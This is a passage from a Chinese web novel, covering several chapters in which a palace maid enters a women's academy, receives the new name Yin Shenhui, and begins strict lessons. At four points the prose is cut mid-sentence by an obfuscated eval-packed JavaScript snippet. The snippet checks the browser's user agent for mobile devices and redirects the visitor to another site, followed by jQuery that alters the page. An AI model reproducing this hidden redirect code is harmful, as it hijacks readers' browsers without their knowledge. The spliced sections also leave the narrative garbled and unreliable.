这排朝东的殿后通屋狭小且陈旧,但无论陈设还是条件都好过尹月儿住过的庶杂院。四张床有布帘隔开,各有置物小架和一个藤编的箱子在床边,唯独没有桌椅,四个人都站在地上便显得十分拥挤了。可是比过去二十来人挤在一处,不知好到哪里去。由于是靠着考试为自己换来更好的居住条件,尹月儿心情应该很是轻快,但思及今日变故,仍心有余悸。 看来睿思宫也因此次宫中变故并不太平。 但无论如何,读书还是要努力的。 为了今日的刺杀和明日的忐忑,女孩们大多没心情闲谈,各自按照房间次序沐浴完毕就寝。第二日,晨起更衣后于小院内站下齐整一排,嬷嬷来得比她们要早,温柔地为每个人整理仪容。 小宫女们每日梳洗都是盘头以钗环等简易头饰固定,大多不会用分发的纯黑缯布裹出儒生的襆头,裹得各有各的千奇百怪,嬷嬷含笑给了每个人一对通宝铜板,教大家系在发巾的稍角,缠毕贴鬓两侧头皮,掖入襆头里,又整洁又便于打理。 这回尹月儿知道为什么见过的尚书内省女官全没有鬓角了,原来是经年累月以裹头坠币摩擦,导致两鬓无发。 全部整理完毕,嬷嬷才介绍自己:“我是尚书内省的洪嬷嬷,读书我没法教导你们,但日常琐碎小事遇见困难,不必犯难,尽管来问我,若有不懂的规矩,也务必先问我一句。” 虽说是嬷嬷,可眼前这位洪姓宫女看起来怎么也不到三十岁,笑盈盈的眉眼,更显得像是一位亲切的大姐姐。 洪嬷嬷又说了些平常食宿的安排,边说边最后检查众人仪容,说着却顿住话,在一个女孩面前站定,柔柔牵起了那女孩的手,只见阳光下,她手腕有一道银光,是一个柳条细的银镯。 “昨日里吩咐过了,你们做了睿思宫宫生,这往后啊,首饰钗环都是不能戴的。”洪嬷嬷柔声细语,慈爱哄劝。 戴银镯的女孩眼中登时噙满泪水,悲声道:“嬷嬷,这是我娘留给我的,我一直随身戴着,自打娘过身就没摘下来。有镯子在,就好像娘陪着我。” “可怜你的孝心。嬷嬷不会为难你的。”洪嬷嬷似是也被打动般轻轻叹息,回头叫来自己身后的小宫女,“德欣,带她下去缓缓。” 小宫女过来,引着女孩离去,尹月儿心头却有疑惑,洪嬷嬷也不再多言,只柔声继续询问:“还有谁有什么难言之处?天理不外乎人情,规矩是规矩,若是大家不愿,也不能强求。” 所有女孩都是自打入宫就被耳提面命必须遵守天大规矩的,乍一听此言,都十分错愕,有些聪明的脸上已有些微不安,果然,直到出发去睿思宫次殿,那个戴着银镯的女孩也没再出现。 尹月儿明白,在这里,规矩会事先强调,但不会三令五申,若有不当,也会就此失去靠读书更改命运的契机。 洪嬷嬷不会像是上辈子幼儿园老师那样从生活规范管到学习纪律,从今往后,一切都靠他们自己了。 “参见赵内尚。” 跟随赵时敏入内的女官足有十余名,她们身上的官袍或绿或红,腰带是漆黑的皮革,上有不同颜色金属的图案,尹月儿可以猜测到这象征着她们在尚书内省的官职品级。 唯有赵时敏身紫佩金,腰带上挂有一皮质小袋,头上正中帽徽金中嵌玉,光华流转,她一入殿,四下再无走动,等待示意后,一个之前未有见过的朱衣女官才上前来,展开手中纸折,扬声诵念:“天命责成,太后有诏……” 尹月儿细细听着,有些词句太过佶屈聱牙,她也不能甚解,不过联系上下文,这道出自当今太后的诏书所说内容和昨天说的以及这些日子听到的差不多,大概就是尚书内省是太祖创立,必须要求所有宫生好读书读好书,时刻准备着,教授她们课程更不能懈怠,德性和学问也一样重要,今后的考核更要严肃认真,要为如今年幼的皇帝选取最合适的人才辅佐。 用余光环顾四周,尹月儿不知尚书内省是否就这几个女官,人数与宫室大小相比十分不称,转念一想,先帝驾崩,原太子齐昀废死,经历如此之大变故后外朝尚且不论,天子近前的尚书内省怕是影响最深,加之从前的杨内尚牵连获罪,怕是这里经历过一场洗牌。早听王宝姐姐讲,尚书内省选人都在一秋一春,应着外头科举的时令,此时夏日未竟,想必是人手缺欠太过,必须及时补充,先选一批,再尽快教成。 思索着,仪式已然开始。 这并不是什么表彰,而是昨日说的更名,至于为什么,昨天却没有人解释,直到此时,那位朱衣女官才用女孩们目前能听得懂的措辞朗声明阐:“尚书内省乃是天子近臣,一言一行,皆辅于天子,同理,天子言行,也不遮蔽于我等。伴驾之近,最忌与宫外勾连、朋比为奸。今日起,姓氏将易,往后你们与在世家人,再无瓜葛,往日亲眷,当行陌路。” 尹月儿默不作声,身边却有女孩到抽一口冷气。 但朱衣女官未曾理会,继续道:“至于你们的新姓名,将由赵内尚赐下,均取自《尚书》,此乃儒家五经之一,帝王必修之史,赐你们新名,一来代表你们即将修学之砥砺与尚书内省之厚望,但最重要的,还是以此名近臣于帝,如佩韦佩弦,争引为鉴戒,你们可明白了?” 虽然最后一句以尹月儿目前的才学并不能理解,但她比较接受过高等教育,理解能力还是好过这个年纪的小孩子,大概能猜出是引以为戒的意思。 更改她们的姓氏名字,一是与出身和过去做彻底了断,二是新名字更有教育意义,无论是对他们自己,还是他们将要辅佐的皇帝。 朱衣女官说完,再度请示赵内尚,待赵内尚准许,她才郑重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037460|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捧起桌上一个漆光可鉴人的木匣,引着众人拜过,才奉给赵内尚。 赵时敏打开匣子,取出的是一本书。 “这是太祖亲刻本《尚书》。”赵时敏说道,“帝王从学,亦读此本。” “唱到名字的,依次上前。”又指了指面前桌上的一个敞开的木盒,“在里面取出一支牙筹。” 朱衣女官言毕,展开手中纸折:“朱萍萍,近前。” 被叫到名字的是同尹月儿在考试后说过话那个声音熟稔的女孩,她似乎是头有些大,裹头的缯巾不够长,又小心掖了掖才快步上前,于是被朱衣女官厉声警告:“内尚面前,这些零碎成何体统?今后你在天子身边伴驾读书献策也这么毛躁么?” 吓得朱萍萍脸都白了,只敢低头称错。 “不要低头。”赵内尚倒是和蔼许多,或许是旁人已经训斥过了,她只需提醒,“今天是你脱胎换骨再塑新生的好日子,抬起头。” 朱萍萍大胆抬头,自面前盒子里摸出一根比她手还细腻的牙色签子,朱衣女官接过,声音忽然扬高:“柏水窦章,窦姓。” 赵内尚纤细的手指匀速翻过金色封皮的《尚书》: “《周书·立政》曰‘亦越武王,率惟敉功,不敢替厥义德,率惟谋从容德,以并受此丕丕基’,赐姓窦,名率容。” 坐在侧后的何女官低头疾书,一张薄薄的纸递回给朱衣女官。 “窦率容。”她唱名后将纸递给面前睁大眼睛尚有一丝茫然的女孩,“宫生,请问姓甚名谁?” 女孩愣了愣,试探性回答:“窦……窦率容?” 这是所有人在赵内尚脸上第一次看见些微笑意,于是,朱衣女官也颔首道:“窦率容,谢内尚书赐名。” 窦率容跟着念:“窦率容,谢……内尚书赐名。” 有了这个样板,接下来的仪式进行十分顺利。 到了尹月儿,她走上前去,盒子里的牙筹触手生凉,光滑胜过她做粗活的皮肤许多,似是心有灵犀般,仿佛有个牙筹已经等待了她许久,在触碰过后,冥冥之中滑入她的掌心。 尹月儿将属于她的新姓氏交给了朱衣女官。 “和穆萧尹,尹姓。” 她的姓氏竟没有变。 大概老天觉得她改名换姓的次数有点多,偷了个懒。 发生此事的概率虽然低,但也不是不可能,显然赵内尚并未当回事,也没让尹月儿重新抽,她只是抬头看了看眼前的女孩,视线交错时,手指翻动,再低下头,尹月儿已有了新名字。 “《虞书·舜典》曰‘慎徽五典,五典克从纳于百揆,百揆时叙。宾于四门,四门穆穆。纳于大麓,烈风雷雨弗迷’,赐姓尹,名慎徽。” “尹慎徽,谢内尚赐名。” 何女官写好的纸签已递至面前。朱衣女官扬声作例。 “尹慎徽,谢内尚赐名。” 尹慎徽接过纸签的同时诵出自己新的姓名,也将崭新的人生如同接过写有新名字的纸片一样,握在掌中。 8. 第七章 第七章 睿思宫外有一小片花木,再过一桥,便是宫生们日常起居的排房,按照昨日分好的住处,有了新名字的宫生领过日常用度的事物,又被叫到排房前,听何女官讲了一个多时辰明日启学后务必注意的事项。 送走何女官,又来洪嬷嬷。 洪嬷嬷还是带着满面的笑,告知住在睿思宫要守的规矩,她语气轻柔和蔼,但想到今日早晨的情形,女孩们不免还是心有惴惴。 最后,带着所有人认了一圈能活动的地方,大家重新回到住处前。 “还有什么不明白的么?” 洪嬷嬷笑着问。 没人出声。 洪嬷嬷讲了多久,尹慎徽身后的窦率容肚子就叫了多久,人饿昏了头就容易做傻事,她似乎跃跃欲试想要举手示意,还好尹慎徽手快得很,一把拉住窦率容的手腕,制止了这一行为。 窦率容没反应过来,洪嬷嬷已经走了。 剩下的就是领笔墨纸砚等文房,女孩不敢言累,低低抱怨的声也不传四耳,默默散了,只有窦率容拉住了尹慎徽:“你拦我做什么?我要问嬷嬷什么时候用膳呢!说了两个时辰,这最重要的还没说。” “你忘了早晨的那个女孩了么?”尹慎徽提醒她,“多说多错,她们费了那么大周折选我们出来,难不成就为了饿死我们?我看睿思宫的作息安排和外面是不大一样的,到了时候应该就有人领咱们去了。其实,你问出来也没什么,但就怕再接话一来一回,说错了什么,岂不可惜?” 窦率容一拍大腿,表示尹慎徽说得对,就在这时,洪嬷嬷手下的宫女开始为每个人分发腰牌,并告知一刻漏后去膳房用饭,过时不候,至于饭后,只要在宫生可活动的范围走动即可,但亥子之交,她们会给排屋所在的区域落锁,之后清点人数,如若不在,那就要交由尚书内省的女官们定夺惩处和去留。 听到有饭吃,后面那几句警告就显得没那么重要,尹慎徽也很饿,一天下来脑子木木的,加上这两天在尚书内省吃得十分营养,每顿饭显得都很有期待。这时窦率容已经在“饭”这个字从宫女口中说出时取回腰牌,还顺带给尹慎徽的也带了来递给她。 “今天谢谢你了。” “我要谢谢你才对,那天在柴房后面,多亏你出声提醒。” “你听出来了?”窦率容只是饿出了些许迟缓,但并不笨,“我也只是之前晚上给内司跑腿时路过,看见你们在那边鬼鬼祟祟的读书,也没好意思打扰,那天小刘公公比你们还鬼鬼祟祟在那边溜达,我就觉得不大对,幸好提醒得及时,不然今日也没人提醒我了。” 窦率容言语之间点出让人醍醐般的因果,尹慎徽也稍稍一怔,很快便笑道:“你帮了我们大忙。” “我叫朱……窦率容。” 窦率容介绍自己时改口得很快,但旋即有一种小小的伤悲出现在眉眼之间,这与她原本圆润可喜的脸庞显得有些格格不入,但她很快恢复笑意,像迎接人生的新阶段一样,迎接新的朋友。 “尹慎徽。” “哪三个字啊?” 她们一并往膳房走,尹慎徽递给她看写有自己新名字及出处的字条,窦率容看了直摇头:“乖乖,我几乎一个字都不认识,看着一个比一个难写。” “咱们来不就是学这个的么?”尹慎徽也看了窦率容递过来的名条,顿时觉得自己要走的路还有很长。 总之,先吃饱眼前这顿饭要紧。 结识新朋友与面对新的未来总归让人兴奋,但回想白日里考试的惊魂一幕,尹慎徽仍旧心有余悸。 夜里她在自己的床上睡不着觉,思索今日种种,今后如何,她知道自己心思略重的老毛病又犯了,但闲着也是闲着,根据上辈子的经验,失眠的时候数羊其实没多大用。 大概是夜里太过寂静,室友翻身的声音也格外明显。 今早被洪嬷嬷带走的女孩原本也是她的室友,但是如今只余下一张空床,东西全部被收走了。 隐约屋内还有其他人没有睡着,低低的啜泣和吸气声像小型啮齿动物觅食。尹慎徽心中喟叹,都是小孩子呢,干嘛弄得这么严苛,就算真的立规矩,不如在读书上做规定。但她转念一想,尚书内省其实并不单单是学校。它所培养和训练的学生,要拥有绝对的纪律性。 她听着失眠的伴奏,过了一会儿,坐起身来,啜泣声戛然而止,其他两个室友都装作已经熟睡,一动不动。 尹慎徽起身倒了两杯水,静悄悄分别放在两个室友各自的床边,回来后,她自己也喝了些润润嗓子,远处有禁军巡逻的步伐声传入耳际。 这是八月最后的夏夜了,虫鸣阵阵透过窗纱,宽敞的床,明亮的星,还有吃饱饭的肚子,一切都很值得她静静地听,静静地入睡。 尚书内省新晋宫生在禁宫内廷掀起的风浪,远没有成为宫生这件事本身对她们自己人生的波澜更大。 “日出有曜,羔裘如濡。卯时一刻,正身待业。” 睿思宫宫女击敲铜缶,边敲边念这十六个字,正好在宫生所住排房门前走一个来回最后一个字落地,如此三次后,宫生必须梳洗完毕站好,若还有在床上屋内的,就要接受惩罚。至于是什么惩罚,新宫生们还不知道,因为还没人敢忤逆这条规矩。 洪嬷嬷笑吟吟看着即将上学第一天的小豆芽菜,顺带为几个人整理整理仍旧掖不整齐的鬓发和褶皱太多的裹头,最后全都满意了才道:“今日是你们第一天早课,务必恭敬师长,牢记规矩,行了,去吧。” 她语气轻快,阳光也是柔和的金色,透过比女孩子们脸还大一圈的树叶,映得满路光灿。 窦率容走在尹慎徽身前,在洪嬷嬷说完话时,尹慎徽几乎就觉得窦率容马上要发出灵魂的质问:那咱们什么时候吃饭啊? 不过好在,自己这位新朋友的求生欲战胜了干饭欲。 成为宫生,尹慎徽的待遇一跃千丈,小宫女的月钱是一贯钱,睿思宫宫生的月钱则是两贯,几乎就要等于一两银子了。这对于目前的自己来说无异于是一笔巨款。而穿戴也都是一整套簇新的行头,软硬适中的皂色短靴、蟹壳青的细织密纹圆领小袍,都是尹慎徽叫不出材质却能感觉到穿着舒适服帖的好料子。 穿着新衣,尹慎徽和其他同学第一次来到了睿思宫最深处,这是第三进的宫室,规模比前面都小了很多,她们也是从东侧后的小门进入直达,不需要经过前面两进院落。此门有两名禁军左右把守,验过领路宫女的腰牌才准许放行。 “新晋宫生的腰牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037461|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要等几日方能做好,在此之前,诸位每天请跟着我进出睿思宫。我叫德欣,是跟随洪嬷嬷的宫女,负责诸位日常的起居与伴读,有需要我的地方不必拘束,尽管开口。只有一样,诸位宫生务必以学业和规矩为重,旁的我也爱莫能助。” 领头的宫女在介绍学校前先介绍自己,尹慎徽不由感叹,在睿思宫哪怕是做宫女,措辞的精确和逻辑也远不是旁处宫女能比的。 “这里是各位今后读书求学之地,未有女官品级是不能走正门的,只能从我们方才走的东门以及对面西门出入。也不能未经师范与尚书内省女官的首肯就穿过中门,去到之前你们考试过的次殿与正殿,那两进是女官们日常持办公务之所,都是机要,要是有了闪失问罪下来,谁也担待不起。” 尹慎徽发现了,德欣姐喜欢将警告放在最后说。 德欣又指向面前坐西朝东的配殿:“这是懋青堂,诸位今后就在此处进课习字,读书就学,吃食和与进学无关之物,均不可带入。” 顺着她的手指,所有宫生都看见一座不足次殿四分之一的端雅小配殿,青顶瓦下,二级阶上,已敞开全部门窗,里面整齐的桌椅和桌上齐全的文房。 这将是她们今后人生的起点。 “诸位也看到了,这后殿门开着,你们可随意进出,这是藏书阁,存放着读书课业所用的经史子集,所贮典籍善本之多数目之繁,不输任何一间宫外书院的藏书楼,但有一点,外借是准许的,但务必完璧归还,若书籍有个残缺损坏,就得总诸位的月钱里扣了。” 尹慎徽善于观察,原本以为是睿思宫最后一进的后殿左右侧本该是耳房的位置却是两扇紧闭的黑漆大门,门上各坠三个拳头大的紫铜锁,这种锁她只在王宝姐姐执掌的库房见过更小一点的,要两把钥匙才能同时开启。 而越过门墙,能看见一整排望不到头的三层楼的最高一层,几乎与睿思宫正殿平齐高,全窗紧闭,难以窥见一二。 “西配殿是当值老师歇息读书的地方,每天都有师范在此监督进学,诸位也可在各位大人有空的时候请教。” 一般来说,最后会有一句还有什么问题么的话,但鉴于德欣姐是洪嬷嬷一手带出的下属,行事风格一致,有规必言,但言后又不宜多问,该说的都顾全提及,态度也温和从容,绝没有居高临下的语气或神色。 一方面是宫生未来将成为什么人,谁也不能预计,另一方面是此地规则严苛,上下皆要遵守。 进入懋青堂,每个人都已找到自己的位置坐好,来不及新奇桌上琳琅的陈设,就见一绿袍女官踏入堂内,德欣要所有人起身行礼问好,站听训诫。 “晨课多诵,你们要在一日中最好的时辰多多背诵经典治学之论,大家虽都是一样的开蒙书,但读了多少,读明白了多少却全然不同,早间由我带你们在这几个月内通通读过背过,无论你学过多少,都要认真,不得懈怠。待辰时四刻早饭用毕,晌午的课业另有要学。”带领她们晨诵的老师是个陌生面孔,穿着绿袍,手执一见之胆寒的竹尺,足有半人高,紫皮无节,光可鉴人,“你们可以叫我刘学正,学室之内,师生既有尊卑,亦有各责,你们有的问题,尽可问我,我知无不言,但你们若有错漏,我也要严加责教,以正睿思宫学道。” 9. 第八章 第八章 熙平元年九月,尹慎徽以新名字入世的新生活与帝京宜人的秋日一并徐徐开卷,呈出望之不尽的明朗远天。 她知道了在次殿前那两株参天的古木是梓树,由太祖高皇帝之母文德太后亲手栽种,每旬一次,新晋宫生会得到进入次殿的机会,接受尚书内省更高一级女官的口头考试,查验背诵和解经水平是否有长进。其实这也是对教书师傅们的考察,看看教学成果如何。 她还知道,进了睿思宫,再想出去要么是考试淘汰,要么是正式毕业,这是两条全然不同的路。 那天她和窦率容被洪嬷嬷路过捎上,自睿思宫自己的库房拿取墨条,正巧外面有人来送新的上进之物,尹慎徽看见搬东西的王宝姐姐在一众人里又高又壮,显眼非常,两人只是短暂的对视,自己就被洪嬷嬷叫走,最终也没说上一句话,只看见王宝朝自己略带得意的笑着点头,不过这也足够她心中盈满暖融的温情。 赵时敏赵内尚自打入试当天后再未出现在宫生面前,这三次旬考,全部是尚书内省的内侍郎杨大人负责,她年纪与赵内尚相仿,体格微瘦,似有些孱弱的积体之疾,总是以不胜之态考察课业,问上两三个学生便要喝口茶歇一歇,声音极轻,犹如轻鸿踏雪。她也不似赵内尚凛压冰霜,说话慢悠悠,谈吐柔缓缓,尽管是负责考察,也让始终被严苛教导的宫生们喜爱。 与她相比,何师傅便严厉许多。 何女官作为习字师傅,为一众几乎没有经过幼训的孩子开蒙,必须铆足劲儿划刻基本功。 “学书次第,要循序渐进,须知‘学书之序,必先楷法,楷法必先大字’,精晓笔法,熟摹碑帖,哪个都是要吃苦功夫的。” 第一堂课,何女官说完这些,在座女孩子们只听懂了要吃苦功夫,前面的章法实在很难理解。看着把懵懂和恐惧写在脸上的学生,似乎何女官也觉得自己严肃太过,决定先行用孩子们能理解的语言简要讲解。 于是她依次拿出了众人入试的卷子,逐个叫起来点评,指出问题,加深印象。 “尹慎徽。” “师范。”当她叫到自己,尹慎徽跟着学到的规矩赶忙起身躬礼。 “全无章法之字。” 六个字,对尹慎徽这个上辈子老师从来只有夸没有责的学霸来说杀伤极大。她呆呆听着何女官用平和之声毫不留情的批驳。 “可见你只知字形,没有学过字构,上下分家,左右打架,内外不分,围散无法,说你没有读过书也是冤枉,该答之题均无有错漏,可说你读过书……这字不比蒙童,好似垒墙垫砖,一块一块,一字一字摞上,无有体统可言。”何女官顿住,从卷子上方抬眼盯着尹慎徽,“看你的字,一行让人心烦气躁,两行让人头痛欲裂,真是一句话里每个字都在和隔壁的字打架厮杀。” 尹慎徽耳朵嗡嗡乱叫,脑子里被她一点点融化的学霸自尊淹没得到处都是咕嘟咕嘟的水声。 她不知道何师范是不是看了自己的字头痛,此时此刻,她的头是真的开始痛了。 虽然大家多得了类似全然不通的评语,窦率容还额外得到一句“你满卷子就写了八个字,怎么像是写出了十六个?你的字会自己下崽不成?”的质疑。 越点评越能听出,何老师是真急了。 不过到底是老师,每个人得到的批语无一重样。 望着一群挨了骂还不知道多严重,以及知道多严重,表情已略有些自闭的学生们,何师范起身语重心长道:“在尚书内省做事,书是基业本功。日常公文往来,宫中尺牍,皆要以书相呈,若是你们有朝一日能真正伴驾,有幸拟诏录谕,难道就用这样一手字为陛下尽忠秉职么?又或者,在座之人,也未尝不能在许多年后犹如赵内尚一般腰金符鱼,比之宰辅,负代圣朱批之荣,字法疏漏,又当如何?” 众学生还是懵懵懂懂,从眼神来看,听懂之人不过二三,何师范见尹慎徽面有惭色,似很屈责,大概是懂了,既然有人明白,也不算白说,但总要所有人知晓利弊才行。她转过念头再道:“这对你们来说确实有些遥远,不过,近在眼前的也逃不过书课的专勤。进了睿思宫不代表入了尚书内省成为女官。虽说你们不必同天下学子一道科举,但想要留在此间,尚书内省自有不输外面读书人选材的考试,同比乡试、会试、殿试,最终要做女官,也是天子出题当廷朱批圈名,亦有状元榜眼探花之分,殊荣光华与殿试同辉,人之一字,能得之一,你们习字也是为此。” 何女官话语之中隐含的意思或许别的宫生没有听懂,尹慎徽却听得清清楚楚,热血沸腾。 学字和读书,不单单是为了在睿思宫讨生活,她们还要志存高远,有朝一日金殿对策,无论是荣誉成就还是个人价值的追求与实现,都可向往并通过努力达成。 “你们已过了学书的幼功之年,更要以勤补拙,不能懈怠,即日起,每日窗课务必用功,我也会亲自为你们批画朱点。” 何女官最后做出指示,尹慎徽只觉得心底和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037462|194635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手掌里像有团火在烧:下次点评,她不能继续再让老师这样评价。 其实对于他人的评价,上辈子的尹慎徽没有那么在意,毕竟当周围人都把她当做别人家的孩子的时候,很多评价更多是针对旁人自己的期许扭转过的赋魅,她尽管拥有客观的优秀,但却不是他们口中那样的人。 但批评就是另外一回事了。 书课第一节,何女官先讲姿势和控笔,没有预备碑帖临写,练习用的草纸给宫生们发了足够,横竖各法,都要熟练。 女孩们自成为宫生,必须严守睿思宫的作息: 卯时一刻,住处点人,一般是洪嬷嬷亲自点卯,有时候也由德欣负责,若今天有什么特殊的课业安排以及分发新的用度,更换新衣,也是这时安排领取; 卯时三刻,宫生们就必须要在懋青堂自己的位置上坐好,这是早课开始的时间,每天由师范轮班负责领带诵读,所读内容大多是目前正在学习的开蒙之书; 辰时过半,宫生们才去用早饭,睿思宫饭食丰盛,添菜更是常有,相比众人过往,已是满足佳肴; 辰时结束,进食也结束,这时候是晌午第一堂正式的课,以学习新的四书典章为主,之后还有一堂课,就要学习书法了; 午时二刻,午饭总是丰盛,宫人一般一日两食,但睿思宫和宫中贵人一样,可以三食,过了整个下午的课程时光,待到酉时,还有简便的一餐,不过用后也不能肆意享用,更要勤学进读,以弥补众人不同起点的蒙学进度; 戌时正点,就没有师范上课了,相对自由,散学修整可以,去藏书楼借阅也是允许的,懋青堂上灯后,依然允许宫生自修; 无论如何,子时整必须回到排屋上床,洪嬷嬷每日都会亲自提灯查验是否每个人都归来,而后睿思宫落锁,不许随意出入,一天便这样结束了。 对于尹慎徽来说,这大概就是再念一次高中大学,甚至可能前期还要更轻松一些,毕竟十一点就允许睡觉了,也没有山呼海啸般的作业和各科老师互卷式的压榨,更不用挑灯刷题,披星戴月的上学下学。但是随着学习的内容渐多,她也感受到了前所未有的压力——许多内容即便对于在世为人的她来说也是全新的知识体系,正待重新掌握融汇。 不过读书这事,历来与清闲不挨边,辛苦总是必然,尹慎徽倒不抱怨,更何况那日何师范的话真正暗合了她自来此世后的心境,本来她就是为了不虚此生、再塑自我才来到睿思宫,开启这段命定的旅程。 10. 第九章 第九章 初秋暖得刚刚好的阳光透过未开的长窗,一声两声,催促宫生起床的铜缶敲击声并不急促,却规律得让人心慌,女孩子们从自己床上爬起来,梳洗更衣,四十九声过后,所有人就都整整齐齐站在院子里,接受洪嬷嬷审慎的目光逡巡。 这个总是含笑的温柔女人似乎非常满意在入学一个月后孩子们对规矩的奉行和掌握,示意德欣可以带着她们去懋青堂完成每日例行的早读。 尹慎徽倒也不是不困,走在人群的队伍里,她偷偷打了个哈欠:昨夜读书太晚,大概小孩子这个年龄还在长身体,这种熬法似乎不大科学健康,但是也没别的好解决的办法,毕竟她落下的课业实在太多。 用负责这些基础课程的黄师范的话说: “……启蒙有三课:音韵、文字、训诂,你们样样不懂,各个未通,别说开窍了,就连入门都摸着黑,你们啊,真是我带过最差的一届!” 尹慎徽第一次知道,原来隔着不同的时空,所有老师的语言系统仍然拥有奇妙的共性,他们的本职工作让他们的灵魂产生了微妙的共鸣。 前两者对她来说并不难上手,官话雅音和字形字意不管什么时候都是基本功,但训诂就有些弯绕枯燥,黄师范先讲学了几日,再发下训诂的专用课本《尔雅》与《说文》,说要二者结合,同读同查,方才能有进益。 前者书本到手,后者却迟迟未发,黄师范催了几次,才知今夏雨水甚繁,贮备宫生课用文房和书籍的专库遭了潮泛,初秋才多有适宜晒书的高爽晴日,课本只能一批批晒,先后到手时序就显得很吃紧了。 这消息也让尹慎徽意外。她知道因为太子谋逆案牵涉尚书内省,导致内省人员遭到一轮罪责,最终只有少部分留下,故而人手紧缺,一如何师范,每天忙得脚不沾地,除了懋青堂教宫生读书习字与本职工作在太后接见臣僚处置政务时伴驾,每天晚上还得做尚书内省的文书工作与批阅宫生的书法窗课,一个月下来,何师范肉眼可见的憔悴与消瘦,犹如当年自己的高中毕业班班主任。 但连平常杂务的人手都如此欠缺,还是出乎尹慎徽意料。看来谋逆案之事对尚书内省的牵涉和影响远比她想象的大。 有这层缘故在,新晋宫生不免要在不影响学习的前提下承担一些自己力所能及的杂事,大多是帮忙晒书、裁纸、取分文房用品和收送课业等偏跑腿但又不甚麻烦的琐碎,尹慎徽倒也乐得,毕竟这一个月的新学习生活节奏除了让她兴奋以外,也让她有些许疲惫感,适当的体力发散恰好调节了此等重复读书的枯燥。 “晨起你们黄师范告知我说,二十三本《说文》都已晒毕,此本书乃是今后求学进读之基石,务必压案,常用勤阅。待午后用过饭,让洪嬷嬷带你们领了分下去,明天我要在案头看见人手一本,忘带了可要受罚,听明白了吗?” 晨课完毕,刘学正对众宫生吩咐。 可午后洪嬷嬷又实在没工夫,德欣也忙得找不到人,她便指了尹慎徽去晒书的地方取来,窦率容见状想去帮忙,但刘学正又派给她和另一个宫生同窗去取秋天挡西晒专用的竹帘的活,尹慎徽只好自己拿了腰牌独自行动。 这还是她进了尚书内省后第一次离开睿思宫,说是出去外面,其实不过角门走,转个弯,三四十步的脚程,和在宫内区别不大,只是这段路经过睿思宫后的小花园,秋色尚未浓至醉叶落花之时,绿意仍存七分葳蕤,隐蔽住午后骄阳燥燠,这里据说是许多尚书内省女官闲坐消暇之地,因尚书内省本就是整座皇宫几乎最西北的宫室,故而除了走西边门出入,无人经过此间,十分静谧清隐。 晒书本当在宫内,然而今夏潮重,许多档存书志都要趁秋高气爽之时赶着一并晾晒,睿思宫地方不够,于是一部分宫生用书便迁移到宫后花园处杂间前,一小块晒得见阳光的空地,尹慎徽和其他宫生跟着德欣取领晒过的《尔雅》《诗经》时来过两次,轻车熟路拿着腰牌过了守门的禁军,穿过扶疏花木,先看见高高的宫墙,下面小排房前几丈见方的空地上摆满了打开的书,一个年纪与何师范差不多的宫女正在逐一翻页。 “德敬姐姐,我来取黄师范要的《说文》。” 她递上黄师范亲手所写的条子,德敬往衣衫上抹了抹手,再掸抖几下手上除霉的药粉,才接过来细看,确认画押没有问题后小心收好,指着旁边桌案上一摞书本道:“一共二十三本,旁边簿子上签押一下,对了,会写自己名字吧?不会的话那边有印泥,你按个手印也成。” “会写的。” 尹慎徽名字笔画奇多,费了好大劲写完,德敬看过笑道:“有模有样的,下了不少功夫吧?” 与德欣相比,同是洪嬷嬷手下的宫女德敬笑容更多,她说话有些卫州口音,同窦率容算是老乡,不过她公事公办,也未有任何偏袒私分,只是对着窦率容和熟识的尹慎徽话略多些。 “不敢不用心。”尹慎徽也笑着回答。知耻而后勇。挨了何师范的当众批评,若仍不知在书写笔头上下功夫,实在太不知好歹。这些天尹慎徽自己加码的书法窗课足有何师范留得一倍有余。 “这样挺好的,从前的宫生,哪个不是在字上下死功夫,没日没夜的写,练字的窗课满案头都是,我跟在后头收拾都收拾不完,你这样用心,往后熬出来了就好了。”德敬说着又忙起自己手上的活,却仿佛想起什么,指着桌上的两个小瓷瓶,“对了,这书有些地方晒过还是有些页糟烂,没有人手补修,我备了白芨胶和白矾,你们回去用温水兑了,自己补一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就算只是暂时帮帮闲差,能躲过冬日前最累的这会儿,也是她目前能尽心的最大努力。 想着想着,尹慎徽脚步都轻快许多。 绕过花园转角尽头,便是睿思宫西侧甬道,尹慎徽捧抱着书的双手隐隐发酸,于是停下拿抬高的膝盖垫一垫。 “真是荒唐!” 